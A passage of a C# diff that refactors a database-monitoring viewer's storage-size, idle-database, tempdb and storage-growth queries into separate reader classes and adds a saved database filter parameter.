-    /// the window is empty, which is exactly the case a windowed probe cannot itself distinguish from "never
-    /// collected": a server whose collection stopped more than two days before <paramref name="asOf"/>. The
-    /// two-day width is generous headroom over <c>database_size_stats</c>' roughly hourly cadence
-    /// (<c>CollectorScheduleDefaults["database_size_stats"]</c>) — enough to absorb a missed cycle or two —
-    /// while still excluding nearly all of a retention that runs to 70+ daily chunks in the field.
-    ///
-    /// <para>Correctness: the windowed probe's MAX, when it finds any row, IS the true unbounded MAX — no row
-    /// outside a "collection_time &gt;= cutoff" window can be newer than a row inside it. So the fallback only
-    /// ever fires when the window is genuinely empty, never as an approximation. Returns null when there is no
-    /// row at or before <paramref name="asOf"/> at all.</para>
-    /// </summary>
-    private async Task<DateTime?> GetDatabaseSizeSnapshotAtOrBeforeAsync(int serverId, DateTime asOf, CancellationToken cancellationToken)
-    {
-        var asOfBound = DateTime.SpecifyKind(asOf, DateTimeKind.Unspecified);
-        var windowStart = DateTime.SpecifyKind(asOf.AddDays(-2), DateTimeKind.Unspecified);
-
-        await using (var probe = _dataSource.CreateCommand(DatabaseSizeSnapshotWindowedProbeSql))
-        {
-            probe.CommandTimeout = ViewerCommandDeadlines.CurrentInteractiveReadSeconds;
-            probe.Parameters.Add(new NpgsqlParameter<int> { TypedValue = serverId });
-            probe.Parameters.Add(new NpgsqlParameter<DateTime> { TypedValue = windowStart });
-            probe.Parameters.Add(new NpgsqlParameter<DateTime> { TypedValue = asOfBound });
-            var windowed = await probe.ExecuteScalarAsync(cancellationToken);
-            if (windowed is DateTime windowedStamp)
-            {
-                return windowedStamp;
-            }
-        }
-
-        await using var fallback = _dataSource.CreateCommand(DatabaseSizeSnapshotFallbackProbeSql);
-        fallback.CommandTimeout = ViewerCommandDeadlines.CurrentInteractiveReadSeconds;
-        fallback.Parameters.Add(new NpgsqlParameter<int> { TypedValue = serverId });
-        fallback.Parameters.Add(new NpgsqlParameter<DateTime> { TypedValue = asOfBound });
-        var unbounded = await fallback.ExecuteScalarAsync(cancellationToken);
-        return unbounded is DateTime unboundedStamp ? unboundedStamp : null;
-    }
-
-    /// <summary>Binds a nullable snapshot time — SQL NULL when there is none, which every caller here uses to
-    /// mean "no snapshot in range" (an equality against NULL matches no row, same as the old correlated
-    /// subquery returning no row).</summary>
-    private static NpgsqlParameter TimestampOrNull(DateTime? value) =>
-        new() { NpgsqlDbType = NpgsqlDbType.Timestamp, Value = value.HasValue ? DateTime.SpecifyKind(value.Value, DateTimeKind.Unspecified) : DBNull.Value };
-
-    /// <summary>The windowed half of <see cref="GetDatabaseSizeSnapshotAtOrBeforeAsync"/>. $1 server_id,
-    /// $2 window start, $3 asOf.</summary>
-    public const string DatabaseSizeSnapshotWindowedProbeSql = @"
-SELECT MAX(collection_time)
-FROM v_database_size_stats
-WHERE server_id = $1
-AND   collection_time >= $2
-AND   collection_time <= $3";
-
-    /// <summary>The unbounded fallback half of <see cref="GetDatabaseSizeSnapshotAtOrBeforeAsync"/>, reached
-    /// only when the windowed probe finds nothing. $1 server_id, $2 asOf.</summary>
-    public const string DatabaseSizeSnapshotFallbackProbeSql = @"
-SELECT MAX(collection_time)
-FROM v_database_size_stats
-WHERE server_id = $1
-AND   collection_time <= $2";
-
-    /// <summary>The newest <c>database_size_stats</c> snapshot for one server, full stop — no upper bound
-    /// (#4245 follow-up). A windowed probe first — <c>collection_time &gt;= asOf minus two days</c>, letting
-    /// the planner exclude every chunk outside that span before it builds a subplan for it — falling back to
-    /// a fully unbounded probe only when the window is empty (a server whose collection stopped more than two
-    /// days ago). <b>Unlike <see cref="GetDatabaseSizeSnapshotAtOrBeforeAsync"/>, neither probe here bounds
-    /// above by <c>DateTime.UtcNow</c>.</b> The viewer machine's clock and the collector host's clock are not
-    /// the same clock; a snapshot the collector stamped a few minutes ahead of the viewer's "now" is still the
-    /// latest snapshot that exists, and an upper bound at "now" would silently skip it — the original bug this
-    /// PR fixes (an unbounded MAX with no bound at all) never had that failure mode, so the windowed
-    /// replacement must not introduce one. Correctness: the windowed probe's MAX, when it finds any row, IS
-    /// the true unbounded MAX — no row older than the window can be newer than a row inside it — so the
-    /// fallback only ever fires when the window is genuinely empty. Null when the server has no
-    /// database-size history at all.</summary>
-    private async Task<DateTime?> GetLatestDatabaseSizeSnapshotAsync(int serverId, CancellationToken cancellationToken)
-    {
-        var windowStart = DateTime.SpecifyKind(DateTime.UtcNow.AddDays(-2), DateTimeKind.Unspecified);
+    /// <summary>The windowed half of the at-or-before snapshot probe; lives in <see cref="DarlingFinOpsStorageGrowthReader"/>.</summary>
+    public const string DatabaseSizeSnapshotWindowedProbeSql = DarlingFinOpsStorageGrowthReader.DatabaseSizeSnapshotWindowedProbeSql;
 
-        await using (var probe = _dataSource.CreateCommand(DatabaseSizeLatestSnapshotWindowedProbeSql))
-        {
-            probe.CommandTimeout = ViewerCommandDeadlines.CurrentInteractiveReadSeconds;
-            probe.Parameters.Add(new NpgsqlParameter<int> { TypedValue = serverId });
-            probe.Parameters.Add(new NpgsqlParameter<DateTime> { TypedValue = windowStart });
-            var windowed = await probe.ExecuteScalarAsync(cancellationToken);
-            if (windowed is DateTime windowedStamp)
-            {
-                return windowedStamp;
-            }
-        }
+    /// <summary>The unbounded fallback half of the at-or-before snapshot probe; lives in <see cref="DarlingFinOpsStorageGrowthReader"/>.</summary>
+    public const string DatabaseSizeSnapshotFallbackProbeSql = DarlingFinOpsStorageGrowthReader.DatabaseSizeSnapshotFallbackProbeSql;
 
-        await using var fallback = _dataSource.CreateCommand(DatabaseSizeLatestSnapshotFallbackProbeSql);
-        fallback.CommandTimeout = ViewerCommandDeadlines.CurrentInteractiveReadSeconds;
-        fallback.Parameters.Add(new NpgsqlParameter<int> { TypedValue = serverId });
-        var unbounded = await fallback.ExecuteScalarAsync(cancellationToken);
-        return unbounded is DateTime unboundedStamp ? unboundedStamp : null;
-    }
+    /// <summary>The windowed half of the latest snapshot probe; lives in <see cref="DarlingFinOpsStorageGrowthReader"/>.</summary>
+    public const string DatabaseSizeLatestSnapshotWindowedProbeSql = DarlingFinOpsStorageGrowthReader.DatabaseSizeLatestSnapshotWindowedProbeSql;
 
-    /// <summary>The windowed half of <see cref="GetLatestDatabaseSizeSnapshotAsync"/>. $1 server_id, $2 window
-    /// start. No upper bound — see the method doc for why a latest read must not have one.</summary>
-    public const string DatabaseSizeLatestSnapshotWindowedProbeSql = @"
-SELECT MAX(collection_time)
-FROM v_database_size_stats
-WHERE server_id = $1
-AND   collection_time >= $2";
-
-    /// <summary>The fully unbounded fallback half of <see cref="GetLatestDatabaseSizeSnapshotAsync"/>, reached
-    /// only when the windowed probe finds nothing. $1 server_id. No <c>asOf</c> bound at all: this IS the old
-    /// pre-#4245 statement's semantics (an unqualified <c>MAX(collection_time)</c>), reached only for the rare
-    /// stale-or-empty-server case.</summary>
-    public const string DatabaseSizeLatestSnapshotFallbackProbeSql = @"
-SELECT MAX(collection_time)
-FROM v_database_size_stats
-WHERE server_id = $1";
+    /// <summary>The unbounded fallback half of the latest snapshot probe; lives in <see cref="DarlingFinOpsStorageGrowthReader"/>.</summary>
+    public const string DatabaseSizeLatestSnapshotFallbackProbeSql = DarlingFinOpsStorageGrowthReader.DatabaseSizeLatestSnapshotFallbackProbeSql;
 
     /// <summary>Latest database size snapshot per file for one server, biggest files first (a capacity view —
     /// you hunt the largest files, not browse alphabetically; files can interleave across databases by design).
     /// The <c>total_size_mb DESC</c> lead is display-only and safe to change: the grid is the sole order-sensitive
     /// consumer — the other two callers (<c>GetUtilizationEfficiencyAsync</c>'s free-space math and the dormant-DB
     /// recommendation's cost share) only <c>Sum</c> the rows, and the "Allocated vs Used" chart is a separate read
-    /// (<c>GetDatabaseSizeSummaryAsync</c>). $1 server_id, $2 collection_time (resolved by
-    /// <see cref="GetLatestDatabaseSizeSnapshotAsync"/> — see #4245 on the type doc).</summary>
+    /// (<c>GetDatabaseSizeSummaryAsync</c>). #5312: $3 is the saved database filter (a text[], NULL = every database). $1 server_id, $2 collection_time (resolved by
+    /// <see cref="DarlingFinOpsStorageGrowthReader.GetLatestDatabaseSizeSnapshotAsync"/> — see #4245 on the type doc).</summary>
     public const string DatabaseSizeLatestSql = @"
 SELECT
     database_name,
@@ -186,12 +82,14 @@ FROM v_database_size_stats
 FROM v_database_size_stats
 WHERE server_id = $1
 AND   collection_time = $2
+AND   ($3::text[] IS NULL OR database_name = ANY($3))
 ORDER BY total_size_mb DESC NULLS LAST, database_name, file_type_desc, file_name";
 
-    public async Task<List<DatabaseSizeRow>> GetDatabaseSizeLatestAsync(int serverId, CancellationToken cancellationToken = default)
+    public async Task<List<DatabaseSizeRow>> GetDatabaseSizeLatestAsync(int serverId, IReadOnlyList<string>? databaseNames = null, CancellationToken cancellationToken = default)
     {
         var items = new List<DatabaseSizeRow>();
-        var snapshotTime = await GetLatestDatabaseSizeSnapshotAsync(serverId, cancellationToken);
+        var snapshotTime = await DarlingFinOpsStorageGrowthReader.GetLatestDatabaseSizeSnapshotAsync(
+            _dataSource, serverId, ViewerCommandDeadlines.CurrentInteractiveReadSeconds, cancellationToken);
         if (snapshotTime is null)
         {
             return items;
@@ -201,6 +99,7 @@ public async Task<List<DatabaseSizeRow>> GetDatabaseSizeLatestAsync(int serverId
         command.CommandTimeout = ViewerCommandDeadlines.CurrentInteractiveReadSeconds;
         command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = serverId });
         command.Parameters.Add(new NpgsqlParameter<DateTime> { TypedValue = snapshotTime.Value });
+        command.Parameters.Add(DatabaseFilterParameter(databaseNames));
 
         await using var reader = await command.ExecuteReaderAsync(cancellationToken);
         while (await reader.ReadAsync(cancellationToken))
@@ -230,8 +129,8 @@ public async Task<List<DatabaseSizeRow>> GetDatabaseSizeLatestAsync(int serverId
     }
 
     /// <summary>Per-database allocated + used space for the Utilization size chart. $1 server_id,
-    /// $2 collection_time (resolved by <see cref="GetLatestDatabaseSizeSnapshotAsync"/> — see #4245 on
-    /// the type doc), $3 topN.</summary>
+    /// $2 collection_time (resolved by <see cref="DarlingFinOpsStorageGrowthReader.GetLatestDatabaseSizeSnapshotAsync"/> — see #4245 on
+    /// the type doc), $3 topN, $4 the saved database filter (#5312, a text[], NULL = every database).</summary>
     public const string DatabaseSizeSummarySql = @"
 SELECT
     database_name,
@@ -242,14 +141,16 @@ Hyperscale log file (NULL size, the log service) is in neither. */
 FROM v_database_size_stats
 WHERE server_id = $1
 AND   collection_time = $2
+AND   ($4::text[] IS NULL OR database_name = ANY($4))
 GROUP BY database_name
 ORDER BY total_mb DESC
 LIMIT $3";
 
-    public async Task<List<DatabaseSizeSummaryRow>> GetDatabaseSizeSummaryAsync(int serverId, int topN = 10, CancellationToken cancellationToken = default)
+    public async Task<List<DatabaseSizeSummaryRow>> GetDatabaseSizeSummaryAsync(int serverId, int topN = 10, IReadOnlyList<string>? databaseNames = null, CancellationToken cancellationToken = default)
     {
         var items = new List<DatabaseSizeSummaryRow>();
-        var snapshotTime = await GetLatestDatabaseSizeSnapshotAsync(serverId, cancellationToken);
+        var snapshotTime = await DarlingFinOpsStorageGrowthReader.GetLatestDatabaseSizeSnapshotAsync(
+            _dataSource, serverId, ViewerCommandDeadlines.CurrentInteractiveReadSeconds, cancellationToken);
         if (snapshotTime is null)
         {
             return items;
@@ -260,6 +161,7 @@ public async Task<List<DatabaseSizeSummaryRow>> GetDatabaseSizeSummaryAsync(int
         command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = serverId });
         command.Parameters.Add(new NpgsqlParameter<DateTime> { TypedValue = snapshotTime.Value });
         command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = topN });
+        command.Parameters.Add(DatabaseFilterParameter(databaseNames));
 
         await using var reader = await command.ExecuteReaderAsync(cancellationToken);
         while (await reader.ReadAsync(cancellationToken))
@@ -274,553 +176,91 @@ public async Task<List<DatabaseSizeSummaryRow>> GetDatabaseSizeSummaryAsync(int
         return items;
     }
 
-    /// <summary>Databases with zero query executions over the last N days. $1 server_id, $2 cutoff.</summary>
-    public const string IdleDatabasesSql = $@"
-WITH db_sizes AS (
-    SELECT
-        database_name,
-        SUM(total_size_mb) AS total_size_mb,
-        COUNT(*) AS file_count
-    FROM v_database_size_stats
-    WHERE server_id = $1
-    AND   collection_time = (
-        SELECT MAX(collection_time)
-        FROM v_database_size_stats
-        WHERE server_id = $1
-    )
-    GROUP BY database_name
-),
-db_activity AS (
-    SELECT
-        database_name,
-        SUM(delta_execution_count) FILTER (WHERE {TimescaleSupport.IntervalHonestSourceFilter}) AS total_executions,
-        MAX(last_execution_time) AS last_execution
-    FROM v_query_stats
-    WHERE server_id = $1
-    AND   collection_time >= $2
-    AND   delta_execution_count IS NOT NULL
-    GROUP BY database_name
-)
-SELECT
-    ds.database_name,
-    ds.total_size_mb,
-    ds.file_count,
-    a.last_execution
-FROM db_sizes ds
-LEFT JOIN db_activity a ON a.database_name = ds.database_name
-WHERE COALESCE(a.total_executions, 0) = 0
-AND   (a.last_execution IS NULL OR a.last_execution < $2)
-AND   ds.database_name NOT IN ('master', 'model', 'msdb', 'tempdb', 'PerformanceMonitor')
-ORDER BY ds.total_size_mb DESC";
-
-    public async Task<List<IdleDatabaseRow>> GetIdleDatabasesAsync(int serverId, int daysBack = 7, CancellationToken cancellationToken = default)
+    /// <summary>The idle-database read's SQL; lives in <see cref="DarlingFinOpsOptimizationReader"/>.</summary>
+    public const string IdleDatabasesSql = DarlingFinOpsOptimizationReader.IdleDatabasesSql;
+
+    public async Task<List<IdleDatabaseRow>> GetIdleDatabasesAsync(int serverId, int daysBack = 7, CancellationToken cancellationToken = default) =>
+        (await GetIdleDatabaseReadAsync(serverId, daysBack, cancellationToken)).Rows;
+
+    /// <summary>The Idle Databases grid's read: the rows, and whether query stats cover each of the last 7 UTC days. Without that coverage
+    /// there are no rows (a database is idle only when the days were watched), and the grid says why instead of "No idle databases detected".</summary>
+    public async Task<(bool Covered, List<IdleDatabaseRow> Rows)> GetIdleDatabaseReadAsync(int serverId, int daysBack = 7, CancellationToken cancellationToken = default)
     {
         var cutoff = DateTime.UtcNow.AddDays(-daysBack);
 
-        await using var command = _dataSource.CreateCommand(IdleDatabasesSql);
-        command.CommandTimeout = ViewerCommandDeadlines.CurrentInteractiveReadSeconds;
-        command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = serverId });
-        command.Parameters.Add(new NpgsqlParameter<DateTime> { TypedValue = DateTime.SpecifyKind(cutoff, DateTimeKind.Unspecified) });
-
-        var items = new List<IdleDatabaseRow>();
-        await using var reader = await command.ExecuteReaderAsync(cancellationToken);
-        while (await reader.ReadAsync(cancellationToken))
-        {
-            items.Add(new IdleDatabaseRow
-            {
-                DatabaseName = reader.IsDBNull(0) ? "" : reader.GetString(0),
-                TotalSizeMb = reader.IsDBNull(1) ? 0m : Convert.ToDecimal(reader.GetValue(1)),
-                FileCount = reader.IsDBNull(2) ? 0 : Convert.ToInt32(reader.GetValue(2)),
-                /* last_execution_time (sys.dm_exec_query_stats) is SERVER-LOCAL in the store, not naive
-                   UTC, so it is read verbatim like Lite — NOT through ViewerTimeHelper.ForDisplay (which
-                   assumes naive UTC and, in Local/Server mode, would shift it). Contrast the
-                   collection_time-derived timestamps in this port, which ARE naive UTC and correctly use ForDisplay. */
-                LastExecutionTime = reader.IsDBNull(3) ? null : reader.GetDateTime(3)
-            });
-        }
-        return items;
+        var read = await DarlingFinOpsOptimizationReader.GetIdleDatabaseReadAsync(
+            _dataSource, serverId, cutoff, ViewerCommandDeadlines.CurrentInteractiveReadSeconds, cancellationToken);
+        return (read.Covered, read.Rows.Select(IdleDatabaseRow.From).ToList());
     }
 
-    /// <summary>tempdb pressure summary: latest and 24h peak values. $1 server_id, $2 cutoff.</summary>
-    public const string TempdbSummarySql = @"
-WITH latest AS (
-    SELECT
-        user_object_reserved_mb,
-        internal_object_reserved_mb,
-        version_store_reserved_mb,
-        total_reserved_mb
-    FROM v_tempdb_stats
-    WHERE server_id = $1
-    ORDER BY collection_time DESC
-    LIMIT 1
-),
-peak AS (
-    SELECT
-        MAX(user_object_reserved_mb) AS max_user_mb,
-        MAX(internal_object_reserved_mb) AS max_internal_mb,
-        MAX(version_store_reserved_mb) AS max_version_store_mb,
-        MAX(total_reserved_mb) AS max_total_mb
-    FROM v_tempdb_stats
-    WHERE server_id = $1
-    AND   collection_time >= $2
-)
-SELECT 'User Objects', l.user_object_reserved_mb, p.max_user_mb,
-    CASE WHEN p.max_user_mb > 1024 THEN 'High user object usage' ELSE '' END
-FROM latest l CROSS JOIN peak p
-UNION ALL
-SELECT 'Internal Objects', l.internal_object_reserved_mb, p.max_internal_mb,
-    CASE WHEN p.max_internal_mb > 1024 THEN 'High internal object usage (sorts/hashes)' ELSE '' END
-FROM latest l CROSS JOIN peak p
-UNION ALL
-SELECT 'Version Store', l.version_store_reserved_mb, p.max_version_store_mb,
-    CASE WHEN p.max_version_store_mb > 2048 THEN 'Version store pressure — check long-running transactions' ELSE '' END
-FROM latest l CROSS JOIN peak p
-UNION ALL
-SELECT 'Total Reserved', l.total_reserved_mb, p.max_total_mb, ''
-FROM latest l CROSS JOIN peak p";
+    /// <summary>The tempdb summary's SQL; lives in <see cref="DarlingFinOpsOptimizationReader"/>.</summary>
+    public const string TempdbSummarySql = DarlingFinOpsOptimizationReader.TempdbSummarySql;
 
     public async Task<List<TempdbSummaryRow>> GetTempdbSummaryAsync(int serverId, CancellationToken cancellationToken = default)
     {
         var cutoff = DateTime.UtcNow.AddHours(-24);
 
-        await using var command = _dataSource.CreateCommand(TempdbSummarySql);
-        command.CommandTimeout = ViewerCommandDeadlines.CurrentInteractiveReadSeconds;
-        command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = serverId });
-        command.Parameters.Add(new NpgsqlParameter<DateTime> { TypedValue = DateTime.SpecifyKind(cutoff, DateTimeKind.Unspecified) });
-
-        var items = new List<TempdbSummaryRow>();
-        await using var reader = await command.ExecuteReaderAsync(cancellationToken);
-        while (await reader.ReadAsync(cancellationToken))
-        {
-            items.Add(new TempdbSummaryRow
-            {
-                Metric = reader.IsDBNull(0) ? "" : reader.GetString(0),
-                CurrentMb = reader.IsDBNull(1) ? 0m : Convert.ToDecimal(reader.GetValue(1)),
-                Peak24hMb = reader.IsDBNull(2) ? 0m : Convert.ToDecimal(reader.GetValue(2)),
-                Warning = reader.IsDBNull(3) ? "" : reader.GetString(3)
-            });
-        }
-        return items;
+        var rows = await DarlingFinOpsOptimizationReader.GetTempdbSummaryAsync(
+            _dataSource, serverId, cutoff, ViewerCommandDeadlines.CurrentInteractiveReadSeconds, cancellationToken);
+        return rows.Select(TempdbSummaryRow.From).ToList();
     }
 
-    /// <summary>Per-database storage growth vs 7d/30d ago (Storage Growth parent grid). #4245: all three
-    /// snapshot times are resolved before this runs — the <c>latest</c> CTE's from the unbounded
-    /// <see cref="GetLatestDatabaseSizeSnapshotAsync"/>, <c>past_7d</c>/<c>past_30d</c>'s from the upper-bounded
-    /// <see cref="GetDatabaseSizeSnapshotAtOrBeforeAsync"/> (their cutoff IS a past "at or before" point, so
-    /// they keep the upper bound the latest read must not have) — so this statement only ever binds three
-    /// literal <c>collection_time</c> values (never a bound-free chunk scan). A cutoff with no
-    /// qualifying snapshot (a database younger than 7 or 30 days) binds SQL NULL, which the CTE's equality
-    /// turns into zero rows — the LEFT JOIN below already treats that as "no prior snapshot", unchanged from
-    /// before this fix. $1 server_id, $2 latest collection_time, $3 collection_time at or before 7d ago,
-    /// $4 collection_time at or before 30d ago (either of the last two may be null).
-    ///
-    /// <para>A file whose row in the latest snapshot has no size is left out of all three sums, by one predicate
-    /// (the <c>NOT EXISTS</c> against <c>log_service_files</c>) repeated in each. That file is the log of an Azure
-    /// SQL Database Hyperscale database (<see cref="HyperscaleLogSize"/>). Its older rows can still hold the ~1 TB
-    /// that sys.database_files reported before the collector stored NULL for it, and summing them on the past side
-    /// alone read as a -99% drop. The rule is applied at read time, so it covers history collected before the
-    /// change without rewriting it. On the latest side it drops only the rows SUM already skips. A file that is
-    /// gone from the latest snapshot has no row there, so it still counts on the past side, as shrinkage.
-    /// <c>log_service_files</c> binds the same literal <c>$2</c> as the latest CTE, so the #4245 plan shape
-    /// holds. Lite's <c>LocalDataService.StorageGrowthSql</c> is the twin.</para>
-    ///
-    /// <para>A row stored before the allocated/used fix for another database on an Azure SQL Database server holds that
-    /// database's USED space as its total, where every later row holds the ALLOCATED size
-    /// (<see cref="AzureSiblingDatabaseSize"/>). The same predicate leaves those rows out of all three sums, so the
-    /// one-time change reads as no history and not as growth: the database shows a blank past size and growth n/a (null) until a
-    /// newer sample is old enough to compare against, as a database added inside the window does. Until the first
-    /// collection after the upgrade the latest snapshot holds only old-shape rows, so the database is not listed here at
-    /// all.</para>
-    ///
-    /// <para>The <c>latest</c> CTE also flags each database whose size leaves its log out: <c>has_sibling_row</c> is true
-    /// when the database has the one row another database on an Azure SQL Database server gets
-    /// (<see cref="AzureSiblingDatabaseSize.RowPredicate"/>, so its size is data space only), and
-    /// <c>has_log_service_file</c> is true when it has a row in <c>log_service_files</c> (the Hyperscale log, which the
-    /// sums skip). The second reads the same <c>$2</c> snapshot as the CTE it joins, so the #4245 plan shape holds. The
-    /// row's <c>Note</c> says which. Lite's <c>LocalDataService.StorageGrowthSql</c> is the twin.</para></summary>
-    public const string StorageGrowthSql = @"
-WITH log_service_files AS (
-    SELECT
-        database_name,
-        file_id
-    FROM v_database_size_stats
-    WHERE server_id = $1
-    AND   collection_time = $2
-    AND   total_size_mb IS NULL
-),
-latest AS (
-    SELECT
-        s.database_name,
-        SUM(s.total_size_mb) AS current_size_mb,
-        bool_or(" + AzureSiblingDatabaseSize.RowPredicate + @") AS has_sibling_row,
-        EXISTS (
-            SELECT 1
-            FROM log_service_files AS ls
-            WHERE ls.database_name = s.database_name
-        ) AS has_log_service_file
-    FROM v_database_size_stats AS s
-    WHERE s.server_id = $1
-    AND   s.collection_time = $2
-    AND   NOT EXISTS (
-        SELECT 1
-        FROM log_service_files AS ls
-        WHERE ls.database_name = s.database_name
-        AND   ls.file_id = s.file_id
-    )
-    AND   " + AzureSiblingDatabaseSize.ExcludePreFixRows + @"
-    GROUP BY s.database_name
-),
-past_7d AS (
-    SELECT
-        s.database_name,
-        SUM(s.total_size_mb) AS size_mb
-    FROM v_database_size_stats AS s
-    WHERE s.server_id = $1
-    AND   s.collection_time = $3
-    AND   NOT EXISTS (
-        SELECT 1
-        FROM log_service_files AS ls
-        WHERE ls.database_name = s.database_name
-        AND   ls.file_id = s.file_id
-    )
-    AND   " + AzureSiblingDatabaseSize.ExcludePreFixRows + @"
-    GROUP BY s.database_name
-),
-past_30d AS (
-    SELECT
-        s.database_name,
-        SUM(s.total_size_mb) AS size_mb
-    FROM v_database_size_stats AS s
-    WHERE s.server_id = $1
-    AND   s.collection_time = $4
-    AND   NOT EXISTS (
-        SELECT 1
-        FROM log_service_files AS ls
-        WHERE ls.database_name = s.database_name
-        AND   ls.file_id = s.file_id
-    )
-    AND   " + AzureSiblingDatabaseSize.ExcludePreFixRows + @"
-    GROUP BY s.database_name
-)
-SELECT
-    l.database_name,
-    l.current_size_mb,
-    p7.size_mb,
-    p30.size_mb,
-    l.current_size_mb - p7.size_mb AS growth_7d_mb,
-    l.current_size_mb - p30.size_mb AS growth_30d_mb,
-    CASE
-        WHEN p30.size_mb IS NOT NULL
-        THEN (l.current_size_mb - p30.size_mb) / NULLIF(EXTRACT(EPOCH FROM ($2::timestamp - $4::timestamp)) / 86400.0, 0)
-        WHEN p7.size_mb IS NOT NULL
-        THEN (l.current_size_mb - p7.size_mb) / NULLIF(EXTRACT(EPOCH FROM ($2::timestamp - $3::timestamp)) / 86400.0, 0)
-        ELSE NULL
-    END AS daily_growth_rate_mb,
-    CASE
-        WHEN p30.size_mb IS NOT NULL AND p30.size_mb > 0
-        THEN (l.current_size_mb - p30.size_mb) * 100.0 / p30.size_mb
-        ELSE NULL
-    END AS growth_pct_30d,
-    l.has_sibling_row,
-    l.has_log_service_file
-FROM latest l
-LEFT JOIN past_7d p7 ON p7.database_name = l.database_name
-LEFT JOIN past_30d p30 ON p30.database_name = l.database_name
-ORDER BY growth_30d_mb DESC NULLS LAST, growth_7d_mb DESC NULLS LAST, l.database_name";
-
-    public async Task<List<StorageGrowthRow>> GetStorageGrowthAsync(int serverId, CancellationToken cancellationToken = default)
+    /// <summary>The storage-growth read's SQL; lives in <see cref="DarlingFinOpsStorageGrowthReader"/>.</summary>
+    public const string StorageGrowthSql = DarlingFinOpsStorageGrowthReader.StorageGrowthSql;
+
+    /// <summary>
+    /// One row per database (the Storage Growth grid, which also lists the databases the table and index heatmap's picker offers).
+    /// #5312: <paramref name="databaseNames"/> is the saved database filter; null or empty is every database. The rows are narrowed after the
+    /// read, by the same exact-name rule as the SQL clause <c>database_name = ANY(filter)</c>, so a NULL database never matches a filter.
+    /// </summary>
+    public async Task<List<StorageGrowthRow>> GetStorageGrowthAsync(int serverId, IReadOnlyList<string>? databaseNames = null, CancellationToken cancellationToken = default)
     {
-        var items = new List<StorageGrowthRow>();
         var now = DateTime.UtcNow;
 
-        var latestSnapshot = await GetLatestDatabaseSizeSnapshotAsync(serverId, cancellationToken);
-        if (latestSnapshot is null)
+        var rows = await DarlingFinOpsStorageGrowthReader.GetStorageGrowthAsync(
+            _dataSource, serverId, now, ViewerCommandDeadlines.CurrentInteractiveReadSeconds, cancellationToken);
+        var mapped = rows.Select(StorageGrowthRow.From);
+        if (databaseNames is { Count: > 0 })
         {
-            return items;
+            var chosen = new HashSet<string>(databaseNames, StringComparer.Ordinal);
+            mapped = mapped.Where(r => chosen.Contains(r.DatabaseName));
         }
 
-        var past7Snapshot = await GetDatabaseSizeSnapshotAtOrBeforeAsync(serverId, now.AddDays(-7), cancellationToken);
-        var past30Snapshot = await GetDatabaseSizeSnapshotAtOrBeforeAsync(serverId, now.AddDays(-30), cancellationToken);
+        return mapped.ToList();
+    }
 
-        /* A past snapshot must be strictly older than the latest one. When collection stopped more than a
-           window ago, "at or before now - window" IS the latest snapshot, and comparing it with itself would read
-           as growth 0 over zero days; that is no comparison, so it is null (n/a). */
-        if (past7Snapshot is DateTime p7 && p7 >= latestSnapshot.Value)
-        {
-            past7Snapshot = null;
-        }
-        if (past30Snapshot is DateTime p30 && p30 >= latestSnapshot.Value)
-        {
-            past30Snapshot = null;
-        }
+    /// <summary>The object-growth bounds SQL; lives in <see cref="DarlingFinOpsStorageGrowthReader"/>.</summary>
+    public const string ObjectGrowthBoundsSql = DarlingFinOpsStorageGrowthReader.ObjectGrowthBoundsSql;
 
-        await using var command = _dataSource.CreateCommand(StorageGrowthSql);
-        command.CommandTimeout = ViewerCommandDeadlines.CurrentInteractiveReadSeconds;
-        command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = serverId });
-        command.Parameters.Add(new NpgsqlParameter<DateTime> { TypedValue = latestSnapshot.Value });
-        command.Parameters.Add(TimestampOrNull(past7Snapshot));
-        command.Parameters.Add(TimestampOrNull(past30Snapshot));
-
-        await using var reader = await command.ExecuteReaderAsync(cancellationToken);
-        while (await reader.ReadAsync(cancellationToken))
-        {
-            items.Add(new StorageGrowthRow
-            {
-                DatabaseName = reader.IsDBNull(0) ? "" : reader.GetString(0),
-                CurrentSizeMb = reader.IsDBNull(1) ? 0m : Convert.ToDecimal(reader.GetValue(1)),
-                Size7dAgoMb = reader.IsDBNull(2) ? null : Convert.ToDecimal(reader.GetValue(2)),
-                Size30dAgoMb = reader.IsDBNull(3) ? null : Convert.ToDecimal(reader.GetValue(3)),
-                Growth7dMb = reader.IsDBNull(4) ? null : Convert.ToDecimal(reader.GetValue(4)),
-                Growth30dMb = reader.IsDBNull(5) ? null : Convert.ToDecimal(reader.GetValue(5)),
-                DailyGrowthRateMb = reader.IsDBNull(6) ? null : Convert.ToDecimal(reader.GetValue(6)),
-                GrowthPct30d = reader.IsDBNull(7) ? null : Convert.ToDecimal(reader.GetValue(7)),
-                HasSiblingRow = !reader.IsDBNull(8) && reader.GetBoolean(8),
-                HasLogServiceFile = !reader.IsDBNull(9) && reader.GetBoolean(9)
-            });
-        }
-        return items;
-    }
+    /// <summary>The object-growth summary SQL; lives in <see cref="DarlingFinOpsStorageGrowthReader"/>.</summary>
+    public const string ObjectGrowthSummarySql = DarlingFinOpsStorageGrowthReader.ObjectGrowthSummarySql;
 
-    /// <summary>
-    /// The latest/earliest collection_time in the window, for a server+database — computed ONCE (#4227) and
-    /// passed as exact instants to both <see cref="ObjectGrowthSummarySql"/> and <see cref="ObjectGrowthSeriesSql"/>,
-    /// which used to each recompute this same MAX/MIN(collection_time) as their own <c>bounds</c> CTE (89ms and
-    /// 21.3k buffers apiece on a seeded store, with no index leading (server_id, collection_time)). $1 server_id,
-    /// $2 database, $3 window start. NULL/NULL when nothing in v_index_object_stats matches (collection hasn't
-    /// started, or stopped before the window) — the caller short-circuits to empty rather than passing NULL
-    /// instants down.
-    /// </summary>
-    public const string ObjectGrowthBoundsSql = @"
-SELECT MAX(collection_time) AS latest_time, MIN(collection_time) AS earliest_time
-FROM v_index_object_stats
-WHERE server_id = $1 AND database_name = $2 AND collection_time >= $3";
-
-    /// <summary>Ranked top-N object growth summary for the object drill (#1138 §3A). $1 server_id, $2 database, $3 latest instant, $4 earliest instant, $5 topN — the two instants come from <see cref="ObjectGrowthBoundsSql"/>.</summary>
-    public const string ObjectGrowthSummarySql = @"
-WITH latest AS (
-    SELECT schema_name, table_name,
-        SUM(reserved_mb) AS cur_reserved_mb,
-        SUM(used_mb) AS cur_used_mb,
-        MAX(total_rows) AS cur_rows,
-        COUNT(*) AS index_count
-    FROM v_index_object_stats
